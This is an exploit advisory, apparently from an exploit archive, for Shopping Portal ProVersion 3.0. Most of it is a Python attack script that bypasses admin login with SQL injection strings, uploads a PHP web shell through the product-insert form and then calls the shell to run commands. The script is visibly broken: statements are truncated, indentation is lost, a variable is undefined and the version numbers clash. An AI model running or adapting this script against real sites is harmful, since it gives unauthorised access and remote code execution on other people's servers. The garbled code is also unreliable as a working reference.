Shopping Portal ProVersion 3.0 SQL Injection

Shopping Portal ProVersion version 3.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | c59845b1ff55e879521042a0439a2430

# Exploit Title: Shopping Portal ProVersion 3.0 - Authentication Bypass
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage:
# Software Link:
# Version: v4.0
# Category: Webapps
# Tested on: Xampp for Windows

# Description:
# Password and username parameters have sql injection vulnerability on admin panel.
# username: joke' or '1'='1'# , password: joke' or '1'='1'#
# Also, there isn't any restriction for malicious file uploading in the "Insert Product" section.
# This two vulnerabilities occur unauthenticated remote command execution.


import requests
import sys
import urllib

if (len(sys.argv) !=3) or sys.argv[1] == "-h":
print "[*] Usage: rhost/rpath command"
print "[*] e.g.: ipconfig"

rhost = sys.argv[1]

command = sys.argv[2]

url = "http://"+rhost+"/admin/index.php"
data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:

lg = login =, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})
print ("[*] Status code for login: %s"%lg.status_code)
if lg.status_code != 200:
print ("One bad day! Check web application path!")

#upload file

files = {'productimage1': ('command.php', '<?php system($_GET["cmd"]); ?>'), 'productimage2': ('joke.txt', 'joke'), 'productimage3': ('joke.txt', 'joke')}
fdata = {"category": "3", "subcategory": "8", "productName": "the killing joke", "productCompany": "blah", "productpricebd": "0", "productprice": "0", "productDescription": "blah<br>", "productShippingcharge": "0", "productAvailability": "In Stock", "productimage1": "command.php", "productimage2": "joke.txt", "productimage3": "joke.txt", "submit": ""}

furl = "http://"+rhost+"/admin/insert-product.php"
fupload =, files=files, data=fdata)
print ("[*] Status code for file uploading: %s"%fupload.status_code)

if fupload.status_code != 200:
print ("One bad day! File didn't upload.")
dir = 0
dirr = str(dir)

#find uploaded file

while True:
el = eurl = session.get("http://"+rhost+"/admin/productimages/"+dirr+"/command.php")

if el.status_code == 200:

print "File Found!"
print "Put On A Happy Face!\r\n\r\n"

print ("uploaded file location: http://%s/admin/prductimages/%s/command.php?id=%s"%(rhost,dirr,command))
print "trying to find uploaded file..."

dir += 1
dirr = str(dir)

print final.text

Related Posts